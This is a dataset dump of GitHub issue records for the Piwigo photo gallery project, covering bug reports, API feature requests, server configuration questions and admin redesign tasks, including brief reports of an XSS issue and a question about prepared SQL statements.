issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
|---|---|---|---|---|---|---|---|---|---|
[
"Piwigo",
"Piwigo"
] |
admin.php?page=photo-5:369 Uncaught TypeError: url_delete.replaceAll is not a function
at w.Jconfirm.action (admin.php?page=photo-5:369)
at HTMLButtonElement.<anonymous> (1w41euh.js:41)
at HTMLButtonElement.dispatch (jquery.min.js?v2.11.0beta2:4)
at HTMLButtonElement.r.handle (jquery.min.js?v2.11.0beta2:4)
action @ admin.php?page=photo-5:369
(anonymous) @ 1w41euh.js:41
dispatch @ jquery.min.js?v2.11.0beta2:4
r.handle @ jquery.min.js?v2.11.0beta2:4
./admin/themes/default/template/picture_modify.tpl: window.location.href = url_delete.replaceAll('amp;', '');
|
Can not delete photo
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1205/comments
| 1 |
2020-08-03T14:51:46Z
|
2020-08-03T15:41:29Z
|
https://github.com/Piwigo/Piwigo/issues/1205
| 672,132,921 | 1,205 |
[
"Piwigo",
"Piwigo"
] |
Android some features not work:
192.168.1.29 192.168.1.14:8050 - [02/Aug/2020:22:48:14 +0800] "POST /Piwigo/ws.php?method=pwg.categories.add&format=json HTTP/1.1" 401 51 "-" "Piwigo-Android 1.0.2"
192.168.1.29 192.168.1.14:8050 - [02/Aug/2020:22:50:42 +0800] "POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1" 405 68 "-" "Piwigo-Android 1.0.2"
but web admin works:
192.168.1.14 192.168.1.14:8050 - [02/Aug/2020:22:39:28 +0800] "GET /Piwigo/i.php?/upload/2020/08/02/20200802223927-fd75cd91-me.jpg HTTP/1.1" 200 176626 "-" "Piwigo"
192.168.1.10 192.168.1.14:8050 - [02/Aug/2020:22:39:28 +0800] "POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1" 200 362 "http://192.168.1.14:8050/Piwigo/admin.php?page=photos_add&album=4" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36"
192.168.1.10 192.168.1.14:8050 - [02/Aug/2020:22:39:28 +0800] "GET /Piwigo/i.php?/upload/2020/08/02/20200802223927-fd75cd91-sq.jpg HTTP/1.1" 200 10370 "http://192.168.1.14:8050/Piwigo/admin.php?page=photos_add&album=4" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36"
|
android create category and upload not work
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1204/comments
| 0 |
2020-08-02T14:52:07Z
|
2020-08-02T14:52:07Z
|
https://github.com/Piwigo/Piwigo/issues/1204
| 671,630,153 | 1,204 |
[
"Piwigo",
"Piwigo"
] |
As explained in https://github.com/Piwigo/Piwigo-Mobile/issues/31, third-party apps need an API method for uploading files asynchronously and setting image parameters (no need to call `pwg.images.setInfo` after the upload). This method would be accessible to Admins and Community users with upload rights.
This method, which we might call `pwg.images.uploadAsync`, would collect chunks of a file in any order (`multipart/form-data` encoding). It would reply "status":"ok" (or "fail") after the successful upload of each chunk. Upon reception of the last chunk, the method would recombine all chunks in the right order and compare the MD5 checksum of the reconstructed file with the one provided by the client. It would then reply "status":"ok", the `image_id` and some other infos as `pwg.images.upload` does it. If the checksum test fails, it would then return "status":"fail" with an error code and message.
Phones do not always have access to networks and some users wait for a Wi-Fi to complete uploads. So it would be useful to allow this method to wait up to 7 days for collecting all chunks.
Here are the parameters of `pwg.images.uploadAsync`:
- file (filename provided with `multipart/form-data` encoding, mandatory)
- chunk (current chunk number, mandatory)
- chunks (number of chunks, mandatory)
- category (mandatory)
- original_sum (MD5 checksum, mandatory)
- username (mandatory unless pwg_token is provided)
- password (mandatory unless pwg_token is provided)
- pwg_token (mandatory unless above credentials are provided)
- name (optional)
- author (optional)
- date_creation (optional)
- comment (optional)
- tag_ids (optional)
- level (optional)
- image_id (optional, used to replace an existing image when provided)
|
[web API] method for uploading files asynchronously
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1203/comments
| 0 |
2020-07-25T16:59:21Z
|
2020-11-19T17:14:15Z
|
https://github.com/Piwigo/Piwigo/issues/1203
| 665,619,354 | 1,203 |
[
"Piwigo",
"Piwigo"
] |
Hi! New Piwigo user here.
I installed this via the docker image and pointed the "pictures" mount to an existing directory on my NAS.
Path in container: /pictures
Host/Volume: /media/media01/Photos
After creating a new site using the location "../../../../pictures/", I synchronized it (selecting files+directories) and viewed the result.
Nothing. It shows the albums with no cover thumbnails, and when I click on any of the image text links, no graphics are shown.
The logs show these errors:
[2020-07-21 22:03:20] [ERROR] [i.php] 404 Db file path not found
url: '/i.php?/../../../pictures/headshots/2012-12-31_171452-cu_e250.jpg'
The files are there and they are accessible from the scripts, so its not a problem with Docker itself.
|
Docker Install: No Thumbnails or images
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1201/comments
| 0 |
2020-07-22T13:38:20Z
|
2020-07-22T13:38:20Z
|
https://github.com/Piwigo/Piwigo/issues/1201
| 663,769,990 | 1,201 |
[
"Piwigo",
"Piwigo"
] |
**The idea is here to change the page Move Album to a tree with moving nodes.**
|
Redesign Move Album Page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1200/comments
| 0 |
2020-07-10T12:54:12Z
|
2020-09-28T16:21:55Z
|
https://github.com/Piwigo/Piwigo/issues/1200
| 654,761,497 | 1,200 |
[
"Piwigo",
"Piwigo"
] |
When I click on https://piwigo.org/download/dlcounter.php?code=netinstall I get:
`Requested file not readable - ./netinstall/piwigo-netinstall.php`
|
404 - NetInstall broken link
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1199/comments
| 1 |
2020-07-09T23:35:25Z
|
2020-07-10T10:52:59Z
|
https://github.com/Piwigo/Piwigo/issues/1199
| 654,410,868 | 1,199 |
[
"Piwigo",
"Piwigo"
] |
The API method `pwg.categories.getImages` calls the PHP method [`getimagesize()`](https://www.php.net/manual/en/function.getimagesize.php) in …/include/derivative.inc.php on line 146:
```
if ( ($size = getimagesize( $this->get_path() )) !== false)
{
$this->size = array($size[0],$size[1]);
pwg_query('UPDATE '.IMAGES_TABLE.' SET width='.$size[0].', height='.$size[1].' WHERE id='.$this->id);
}
```
If `getimagesize()` encounters an error with an image, the API method `pwg.categories.getImages` does not return any data, preventing the third party app to retrieve the album image list.
What would be expected is that `pwg.categories.getImages` forgets the problematic image and returns the rest of the data.
|
[web API] pwg.categories.getImages returns <NULL> if getimagesize() fails
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1198/comments
| 4 |
2020-06-28T16:29:39Z
|
2021-12-09T11:39:00Z
|
https://github.com/Piwigo/Piwigo/issues/1198
| 646,959,466 | 1,198 |
[
"Piwigo",
"Piwigo"
] |
When accessing ... admin.php?page=album-[ALBUM#]-sort_order , the page is not paginated. This makes that, when the album is associated with a lot of elements, setting the sort order is very time consuming and prone to errors.
Piwigo 2.10.2
|
Default theme Admin -> Manage -> Album -> "Photo sort order" page is not paginated
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1197/comments
| 0 |
2020-06-27T19:54:41Z
|
2020-06-27T19:54:41Z
|
https://github.com/Piwigo/Piwigo/issues/1197
| 646,749,841 | 1,197 |
[
"Piwigo",
"Piwigo"
] |
Currently `trigger_change` for `render_element_name` only passes the name of the image.
https://github.com/Piwigo/Piwigo/blob/5bf85c982b2b7f3e63fefb2d8cfea7a8bcc9e591/include/functions_html.inc.php#L513-L527
It would be helpful to pass the whole `$info` so that we can use data (e.g., creation date) in `$info` to modify the image title:
```php
trigger_change('render_element_name', $info['name'], $info);
```
This is like what `trigger_change` for `get_thumbnail_title` does:
https://github.com/Piwigo/Piwigo/blob/5bf85c982b2b7f3e63fefb2d8cfea7a8bcc9e591/include/functions_html.inc.php#L586
|
Also pass `$info` in `render_element_name`
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1195/comments
| 0 |
2020-06-27T12:23:55Z
|
2023-08-17T08:47:58Z
|
https://github.com/Piwigo/Piwigo/issues/1195
| 646,671,588 | 1,195 |
[
"Piwigo",
"Piwigo"
] |
Hello.
I am unable to load the user admin panel. I get this warning: "datatables warning .... invalid JSON response"
I check the JSON response in browser debugger. It contains:
`
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in .../include/common.inc.php on line 126` (several times. Various lines of code)
I created new PHP.INI file in Piwigo directory with:
date.timezone = "America/Vancouver"
Now if I go to Piwigo admin>tools>maintenance>PHP show info, the timezone is reported correctly as "America/Vancouver".
However, the JSON warning is still there.
If I switch to PHP 7 then the problem goes away. But Piwigo minimum requirements are supposed to be PHP 5.3
(https://piwigo.org/guides/install/requirements)
Piwigo 2.10.2
Operating system: Linux
PHP: 5.6.40
MySQL: 5.7.30
|
timezone issue causes user panel to fail
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1194/comments
| 0 |
2020-06-26T04:39:35Z
|
2020-06-26T04:39:35Z
|
https://github.com/Piwigo/Piwigo/issues/1194
| 646,001,982 | 1,194 |
[
"Piwigo",
"Piwigo"
] |
Based on Samuel's mockup
|
Tag Manager redesign
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1193/comments
| 0 |
2020-06-16T14:38:49Z
|
2020-08-09T09:29:03Z
|
https://github.com/Piwigo/Piwigo/issues/1193
| 639,722,422 | 1,193 |
[
"Piwigo",
"Piwigo"
] |
All calls to piwigo.org should be performed with HTTPS, not HTTP.
- check for new version available
- list/download available plugins
|
call piwigo.org in HTTPS
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1192/comments
| 0 |
2020-06-15T11:00:30Z
|
2020-10-28T16:05:52Z
|
https://github.com/Piwigo/Piwigo/issues/1192
| 638,757,631 | 1,192 |
[
"Piwigo",
"Piwigo"
] |
The intro page of Piwigo would be better with one or two beautiful charts (based on Samuel's mock-up).
|
dashboard, add activity chart
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1190/comments
| 0 |
2020-05-29T14:59:02Z
|
2020-06-12T13:55:33Z
|
https://github.com/Piwigo/Piwigo/issues/1190
| 627,332,597 | 1,190 |
[
"Piwigo",
"Piwigo"
] |
The [Administration > Tools > History > tab Statistics] is getting very old. We need to refresh that with nice charts :-)
|
redesign history statistics
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1189/comments
| 0 |
2020-05-26T10:55:38Z
|
2020-06-12T13:55:47Z
|
https://github.com/Piwigo/Piwigo/issues/1189
| 624,793,054 | 1,189 |
[
"Piwigo",
"Piwigo"
] |
On the edition page of an album, tab "Photos sort order", if you select "manual order" and validate, Piwigo doesn't seem to understand and checks "Automatic order" with empty criteria.
|
photos sort order within an album, manual order not recognized
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1188/comments
| 0 |
2020-05-19T14:31:48Z
|
2022-03-29T14:26:25Z
|
https://github.com/Piwigo/Piwigo/issues/1188
| 621,026,175 | 1,188 |
[
"Piwigo",
"Piwigo"
] |
From the Upload Photos menu if I drag files into the "Drag files here" area that are of a type that are not included in the "Allowed file types" I will receive a notification that the file is not allowed and I will be returned to the upload photos menu. From all observations the file add process was aborted, however if I then add any allowed file I will see that all the elements up to the point where the original upload attempt was aborted will be queued.
1. Either the queue should have been emptied so that the display is correct or the display should have been updated to indicate the partial completion of the command.
2. Since this can be used, and is useful for, importing from nested folders, I would suggest that the error message should appear at the end of processing, however during the importing all valid files will be added to the queue, invalid ones will be ignored except to note them in the error message. Sample use case: nested folders with many Thumbs.db files that we wish to ignore ... the most user friendly process is to ignore the Thumbs.db files, queue up the valid files, and report the files that were skipped. By reporting all the disallowed files the user can abort if they deem those files important.
3. Further I would suggest that if it is detectable that the files are from different folders that a sub-album structure be optionally created (tick box on upload screen) using the name of the folder, as a child of the importing folder. This may result in sub-sub-folders, etc.
|
Add Files Drag and Drop Behaviour
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1187/comments
| 0 |
2020-05-13T01:54:48Z
|
2020-05-13T01:54:48Z
|
https://github.com/Piwigo/Piwigo/issues/1187
| 617,080,337 | 1,187 |
[
"Piwigo",
"Piwigo"
] |
Piwigo 2.10.2
Operating system: Linux
PHP: 5.6.40 (Show info) [2020-05-10 01:54:04]
MySQL: 5.6.47 [2020-05-09 21:54:04]
Graphics Library: ImageMagick 6.9.4-10
Photos in library ~65k, this and other sizes noted only in case it's relevant.
Using batch manager if I select predefined filter "Duplicates" I do not always see the duplicated images adjacent to one another. To change filtering methods I only change the checkbox and press "refresh photo set".
Duplicates by time & date: photos not adjacent, ~19k photos in set.
Duplicates by checksum: photos adjacent, ~31k photos in set.
Duplicates by checksum with "add a filter"->"Album" and refresh photo set: photos not adjacent, ~3443 photos in set
Manual check suggests that the duplicates are correctly included in the output set, but that the sorting is occurring too early.
|
Adjacent display of duplicate images
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1186/comments
| 0 |
2020-05-13T01:46:37Z
|
2020-05-13T01:46:37Z
|
https://github.com/Piwigo/Piwigo/issues/1186
| 617,077,731 | 1,186 |
[
"Piwigo",
"Piwigo"
] |
I posted this on the forum, but i do not think it is very active.
THIS could be me not understanding the codebase well, so it is just a question.
I use cloudflare for my CDN, and because of this, the IP address captured in the history is wrong, and i need to change the header that obtains it. sure no problem.
in functions.inc.php i find the SQL statement to insert this info. but to my surprise, the string is built from the variables by concatenation instead of prepared statements:
e.g "INSERT INTO foo (firstname, lastname, email) VALUES (?, ?, ?)" and then the pwg_query function, i expected to take an array of values to bind.
even if the pwg_query was a generic query/insert function, it could use an abstract DAO class or even an optimal param for inserts.
Now, i can see that pwg_query is called from a lot of places, and I admit i have not inspected more obvious places for SQL injection like the register page.
Although i was surprised of the lack of an obvious architecture of the code, classes, abstraction, interfaces, etc... or even MVC. but putting that aside, this software works VERY well and is really awesome, I love it
I am just worried about security with SQL injection here.
I tried looking on your forum for a question like this but could only find an unrelated question about moving to PDO, of that, I do not care.
Piwigo version: 2.10.2
PHP version: 7.3.7
MySQL version: MariaDB 10.4
Piwigo URL: https://album.victorique.moe
|
Does piwigo use prepared queries?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1185/comments
| 1 |
2020-05-12T13:29:20Z
|
2020-05-14T13:12:13Z
|
https://github.com/Piwigo/Piwigo/issues/1185
| 616,657,622 | 1,185 |
[
"Piwigo",
"Piwigo"
] |
## EXECUTIVE SUMMARY
(detailed repro steps below)
When `upload_dir` is set to something that is outside of the piwigo root directory's _parent_ (that is, when the path starts with "../../something"):
- **Thumbnails fail to show in the upload Web Form** right after import because it's URL is faulty, it's missing "i.php?/.." at the beginning
- **Batch generation of derivatives fails** for the same reason
- Derivatives ARE generated for thumbnails displayed in the Batch Manager, as well as when viewing the gallery's frontend. However, **they are generated in the wrong place** (in _data/something rather than _data/i/something)
NOTE: If you set upload_dir to a directory _just outside_ of the piwigo root, i.e. "../some_folder", then it all works fine (image URLs are always good, derivatives are always created properly, and under _data/i). It's only when you go one (or presumably more) level higher (../../some_folder) that trouble arises. Note that the same happens if you have subfolders, like "../../some/folder" (that was my original scenario).
### SOME INVESTIGATION
(more details on the faulty URLs in the repro steps below)
The URL issue comes from using `embellish_url()` in the `get_url()` functions of class `DerivativeImage`, in `derivative.inc.php`. `embellish_url()` "simplifies" the URL when it contains "..", so "something/.." will disappear. In our case, "i.php/.." is removed from the URL, and makes it invalid. I'm new to this codebase and far from a PHP expert, and I don't know whether `embellish_url()` is really called just for URL cosmetic purposes here and can just be removed, or if that would cause other issues.
I haven't yet looked at why, when images do get generated (thumbnails in the Batch Manager, everything in the frontend), they end up in the wrong place, i.e. `_data/something` rather than `_data/i/something`.
## DETAILED REPRO STEPS:
1) **Install Piwigo 2.10.2**. Here's my setup:
- English (US) (but language is unimportant here)
- On Godaddy shared hosting, Cent OS / 7.4.2 / MySQL 5.6.47-cll-lve / ImageMagick 6.9.4-10
- HTTP or HTTPS, no difference for this issue (unlike issue #1128)
2) **Create file `local/config/config.inc.php` with the following contents** (or use the `LocalFiles Editor` plug-in, which is installed but disabled by default). I'm including comments from the default config file as a reference:
```
<?php
// where should the API/UploadForm add photos? This path must be relative to
// the Piwigo installation directory (but can be outside, as long as it's
// reachable from your webserver).
$conf['upload_dir'] = '../../outside_piwigo_parent_dir';
?>
```
3) **Create one album**
4) **Add one photo to the album via the Web Form** (drag and drop or browse, no difference for this issue). Note: While investigating, at one point after changing upload_dir the album page just displayed a message saying I had to manually create that directory - only got that once, not sure in which case it happens, but if you do see that message, just to ahead and create the directory.
**BUG 1**: Once upload is done, normally you see thumbnails of the imported photos at the bottom of the Web Form page - in this case, you get a "image not found" icon instead.
- Browser console output with the faulty thumbnail link: `20200507053339-6ee3c2e0-sq.jpg:1 GET http://myserver.com/outside_piwigo_parent_dir/2020/05/07/20200507053339-6ee3c2e0-sq.jpg 404 (Not Found)`
- Notice that it's NOT a link to "i.php" with some arguments (which is what you normally get when things work, i.e. when upload_dir is not set to a directory at least 2 levels up)
- If you go and look at the `../../outside_piwigo_parent_dir` directory, you'll see that the photo has been imported properly with subfolders for today's date. And if you look at the `./upload` directory (the default), it's empty, as expected.
5) Once the photo is uploaded, **click "Manage this set of 1 photos"** (or somehow go to the batch manager and get that photo listed). Notice that here, the thumbnail is properly displayed in the Batch Manager. If you look at the `./_data/outside_piwigo_parent_dir` directory, you'll see that the thumbnail derivative has been generated properly (ends with -th.jpg). However:
**BUG 2**: Although the derivative has been generated, the path is wrong: With the default upload_dir, the path is `./_data/i/upload`, so presumably in this case it should be `./_data/i/outside_piwigo_parent_dir`, not `./_data/outside_piwigo_parent_dir`.
6) **Check the checkbox at the top-left of the photo thumbnail**
7) In the Action dropdown, **select "Generate multiple size images"**
8) **Check "XXS - Tiny"**
9) **Click "Apply Action", wait** until processing is finished
**BUG 3**: You get a "1 photos can not be regenerated" error message. Indeed, if you look at `./_data/outside_piwigo_parent_dir` directory, you still only have the thumbnail, not the XXS version.
- Browser console output: `VM352 jquery.min.js:5 GET http://myserver.com/outside_piwigo_parent_dir/2020/05/07/20200507053339-6ee3c2e0-2s.jpg&b=1588855237&ajaxload=true 404 (Not Found)`
- Again, this is not a "i.php" call
10) **Browse to the gallery's frontend, go into the album, then to the photo you just imported. Try different photo sizes**.
- You'll notice that it all works (except "Original", because in this case the original is not in a path that's within the website's root - but that's a different bug)
- No browser console error
- Links for the thumbnail/photos look like this: `http://myserver.com/i.php?/../outside_piwigo_parent_dir/2020/05/07/20200507053339-6ee3c2e0-xs.jpg`
- Notice the "i.php?/..", which was missing from the URLs earlier in BUG 1 and BUG 2 above.
## RELATED
Related, but different issues:
- #1128 (that's an HTTPS vs. HTTP issue)
- #1003 (Imagick exception)
- #220 (another HTTPS issue)
|
Batch manager cannot generate derivatives ("Generate multiple size images") when upload_dir starts with "../../"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1183/comments
| 2 |
2020-05-07T17:22:28Z
|
2020-08-02T18:23:31Z
|
https://github.com/Piwigo/Piwigo/issues/1183
| 614,220,325 | 1,183 |
[
"Piwigo",
"Piwigo"
] |
In Piwigo 2.10 a new private album is automatically granted access for all users with status {webmaster, administrator}.
If local configuration setting `inheritance_by_default` is set to `true`, each new private sub-album gets the permissions of its parents + the {webmaster, administrator} users. That's not relevant in my opinion. If the webmaster has decided to inherit permissions, (s)he wants the exact same permissions for the private sub-album.
|
inheritance_by_default should not give permissions to admins
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1182/comments
| 0 |
2020-05-07T10:28:52Z
|
2022-03-29T14:26:51Z
|
https://github.com/Piwigo/Piwigo/issues/1182
| 613,946,994 | 1,182 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I work with galleries in a directory structure. The synchronization happens hourly by script or manually by tools - > Synchronization.
If I now change an image/file without changing its name, the synchronization does not recognize it as changed, neither metadata nor thumbnails are regenerated.
Even if I use the interface
- Include already synchronized photos (meta_all)
- Reset all existing values in the database (meta_empty_overrides)
the synchronization will not detect any changed files too.
For your information, I'm starting the synchronization normally via script. The parameters for admin.php are:
admin.php?page=site_update&site=1
--post-data="
sync=files&
display_info=1&
add_to_caddie=1&
privacy_level=0&
sync_meta=on&
meta_all=on&
meta_empty_overrides=on&
simulate=1&
subcats-included=1&
submit=1
"
From: https://github.com/pommes-frites/piwigo-scripts/
My questions:
1. Is there a new/other way to trigger synchronization from external sources/remote?
2. Is there a way to delete a cache or something similar to trigger the synchronization of only content changed pictures/files/movies?
3. If currently only the name (directory/file) is actually the detection criterion, where can I find the code that compares the directory names and directory structure? There I could build in an extension of the functionality. To recognize if a file is newer than 24h or has changed in size you can easily found out.
4. Is there a plan to extend the recognition criteria, e.g. to size, date of modification, changed meta data?
5. Other ideas I missed in my ignorance of Piwigo?
Thanks in advance!
If you don't have such specific requirements as in this case, Piwigo is a lot of fun. Thanks to the many developers!
|
[synchronization] Sync does not regenerate Previews for changed files (without changing its name)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1181/comments
| 1 |
2020-05-06T17:58:09Z
|
2020-05-15T00:28:19Z
|
https://github.com/Piwigo/Piwigo/issues/1181
| 613,505,495 | 1,181 |
[
"Piwigo",
"Piwigo"
] |
I tried to upload photos from "Photos -> Add", but got the following error.
http://localhost/admin.php?page=photos_add
```
1vqtv4r.js:21 Uncaught TypeError: Cannot read property 'selectize' of undefined
at m.fn.init.jQuery.fn.pwgAddAlbum (1vqtv4r.js:21)
at admin.php?page=photos_add:256
jQuery.fn.pwgAddAlbum @ 1vqtv4r.js:21
(anonymous) @ admin.php?page=photos_add:256
```
------
* Google Chrome 81.0.4044.129 (Official Build) (64-bit)
* Piwigo 2.10.2
```
Environment
Piwigo 2.10.2
Operating system: Linux
PHP: 7.4.5 (Show info) [2020-05-03 12:52:13]
MySQL: 8.0.20 [2020-05-03 12:52:13]
Graphics Library: External ImageMagick 6.9.10-23
```
|
Broken web upload form
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1180/comments
| 2 |
2020-05-03T12:53:46Z
|
2022-01-13T12:39:36Z
|
https://github.com/Piwigo/Piwigo/issues/1180
| 611,408,041 | 1,180 |
[
"Piwigo",
"Piwigo"
] |
|
misaligned icon to remove a tag in a combined tags search
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1179/comments
| 0 |
2020-04-27T07:56:17Z
|
2020-09-17T09:12:15Z
|
https://github.com/Piwigo/Piwigo/issues/1179
| 607,324,021 | 1,179 |
[
"Piwigo",
"Piwigo"
] |
Slider design not coherent with new admin design,
Vertical scroll bar present when it isn't necessary
|
Edit user popin, slider design and unnecessary vertical scroll bar
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1176/comments
| 1 |
2020-04-21T14:00:47Z
|
2020-04-21T14:07:21Z
|
https://github.com/Piwigo/Piwigo/issues/1176
| 604,022,713 | 1,176 |
[
"Piwigo",
"Piwigo"
] |
based on Samuel mockups
|
redesign plugin manager
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1175/comments
| 0 |
2020-04-15T13:36:01Z
|
2020-06-09T08:53:34Z
|
https://github.com/Piwigo/Piwigo/issues/1175
| 600,303,524 | 1,175 |
[
"Piwigo",
"Piwigo"
] |
I'm having some **issues with getting photos to show on the android app and uploading images from shotwell**. This is all with my own instance of piwigo. I think my reverse proxy configuration may the source of my problems. Both the VM and reverse proxy are on debian 10 and piwigo is 2.10.1.
I have piwigo on a VM with the following nginx server configuration
```
server {
listen 20000 default_server;
listen [::]:20000 default_server;
root /var/www/piwigo;
index index.html index.htm index.nginx-debian.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
fastcgi_read_timeout 3600;
}
location ~ /\.ht {
deny all;
}
}
```
The config for my nginx proxy is
```
server {
server_name piwigo.duckdns.org www.piwigo.duckdns.org;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://192.168.122.5:20000;
proxy_read_timeout 3600;
}
listen 127.0.0.1:443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/piwigo.duckdns.org/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/piwigo.duckdns.org/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}
server {
if ($host = www.piwigo.duckdns.org) {
return 301 https://$host$request_uri;
} # managed by Certbot
if ($host = piwigo.duckdns.org) {
return 301 https://$host$request_uri;
} # managed by Certbot
server_name piwigo.duckdns.org www.piwigo.duckdns.org;
listen 80;
return 404; # managed by Certbot
}
```
Accessing the instance through the browser works fine. Photos also show up fine.
Are there any obvious issues with my above configuration?
|
reverse proxy for piwigo on VM
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1174/comments
| 1 |
2020-04-15T01:00:36Z
|
2020-04-15T01:15:56Z
|
https://github.com/Piwigo/Piwigo/issues/1174
| 599,948,082 | 1,174 |
[
"Piwigo",
"Piwigo"
] |
|
cannot open install doc
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1172/comments
| 7 |
2020-04-08T08:40:46Z
|
2020-04-10T08:49:17Z
|
https://github.com/Piwigo/Piwigo/issues/1172
| 596,409,410 | 1,172 |
[
"Piwigo",
"Piwigo"
] |
I am using the VideoJS plugin to display videos in Piwigo, with thumbnails put in the sub-directory pwg_representative to force these thumbnails to be displayed instead of the "film wheel" default image.
After several tests, I'm concluding that :
- Thumbnail files are not recognized as such when extension is built with uppercase characters (e.g. file_name.JPG). It seems mandatory that the thumbnail filename ends with a lowercase extension (e.g. file_name.jpg)
The issues are :
- This point is not documented anywhere, as far as I'm aware of.
- There are no results regarding pwg_representative files in the physical album sync. process, claiming that such an uppercase character extension is not permitted.
Is it possible either
- to add that specific rule regarding the extension case in the Piwigo documentation ;
or
- to allow such uppercase extension (somewhere through a permitted file_ext list) ;
AND
- to display the pwg_representative directory/file results after album synchronization.
Thanks a lot in advance.
G.
|
Thumbnails for video's not displayed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1171/comments
| 0 |
2020-04-05T15:10:13Z
|
2020-04-05T15:10:13Z
|
https://github.com/Piwigo/Piwigo/issues/1171
| 594,505,557 | 1,171 |
[
"Piwigo",
"Piwigo"
] |
The methods `pwg.tags.getList` returns ids of photos as Integers while `pwg.tags.getAdminList` returns Ids as Strings.
This prevents from using the same type when using e.g. the Swift standard library. If these methods could use the same type (Integer or String), that would help developers of third party apps.
Here is the JSON returned by `pwg.tags.getList`:
```
▿ (2 elements)
- key: result
- super: NSString
▿ value: 1 key/value pair
▿ (2 elements)
- key: tags
- super: NSString
▿ value: 3 elements
▿ 6 key/value pairs
▿ (2 elements)
- key: id
- super: NSString
- value: 1
- super: NSNumber
…
```
and here is the JSON returned by `pwg.tags.getAdminList`:
```
▿ 2 key/value pairs
▿ (2 elements)
- key: result
- super: NSString
▿ value: 1 key/value pair
▿ (2 elements)
- key: tags #5
- super: NSString
▿ value: 4 elements
▿ 4 key/value pairs
▿ (2 elements)
- key: id
- super: NSString
- value: 1
- super: NSString
...
```
|
[API] pwg.tags.getList & pwg.tags.getAdminList returning Ids of different types
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1170/comments
| 0 |
2020-04-03T12:38:30Z
|
2020-04-03T12:38:30Z
|
https://github.com/Piwigo/Piwigo/issues/1170
| 593,352,919 | 1,170 |
[
"Piwigo",
"Piwigo"
] |
on `file` param. No worry with an admin, but this method can be used by a community user as well.
Originally reported by Zak S. see CVE-2020-9467
|
stored XSS with pwg.images.setInfo
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1168/comments
| 1 |
2020-03-24T13:03:01Z
|
2020-03-28T05:54:16Z
|
https://github.com/Piwigo/Piwigo/issues/1168
| 586,943,552 | 1,168 |
[
"Piwigo",
"Piwigo"
] |
|
Redesign group manager
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1167/comments
| 0 |
2020-03-23T14:09:51Z
|
2020-06-12T11:41:52Z
|
https://github.com/Piwigo/Piwigo/issues/1167
| 586,238,325 | 1,167 |
[
"Piwigo",
"Piwigo"
] |
It would be nice if you expand the Piwigo web API with the method pwg.categories.getRepresentative to get the data for the representative image.
Currently I',m using a workaround by getting this information directly out of the database with the statement:
SELECT representative_picture_id FROM piwigo_categories WHERE id = $CATEGORY_ID
|
Request for pwg.categories.getRepresentative
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1166/comments
| 0 |
2020-03-17T16:14:49Z
|
2020-03-17T16:14:49Z
|
https://github.com/Piwigo/Piwigo/issues/1166
| 583,130,327 | 1,166 |
[
"Piwigo",
"Piwigo"
] |
Hello,
There are many php error on all the pages of my app. Here are the ones i see:
`Notice: Undefined index: IS_IN_CADDIE in /home/yunohost.app/piwigo/_data/templates_c/ljbwkp^ebbff9da673f8ef3c3450cd0fb00b7e7c3721b4f_0.file.public_controller.tpl.php on line 165`
`Notice: Undefined index: ld_forgot_url in /var/www/piwigo/plugins/Ldap_Login/main.inc.php on line 97`
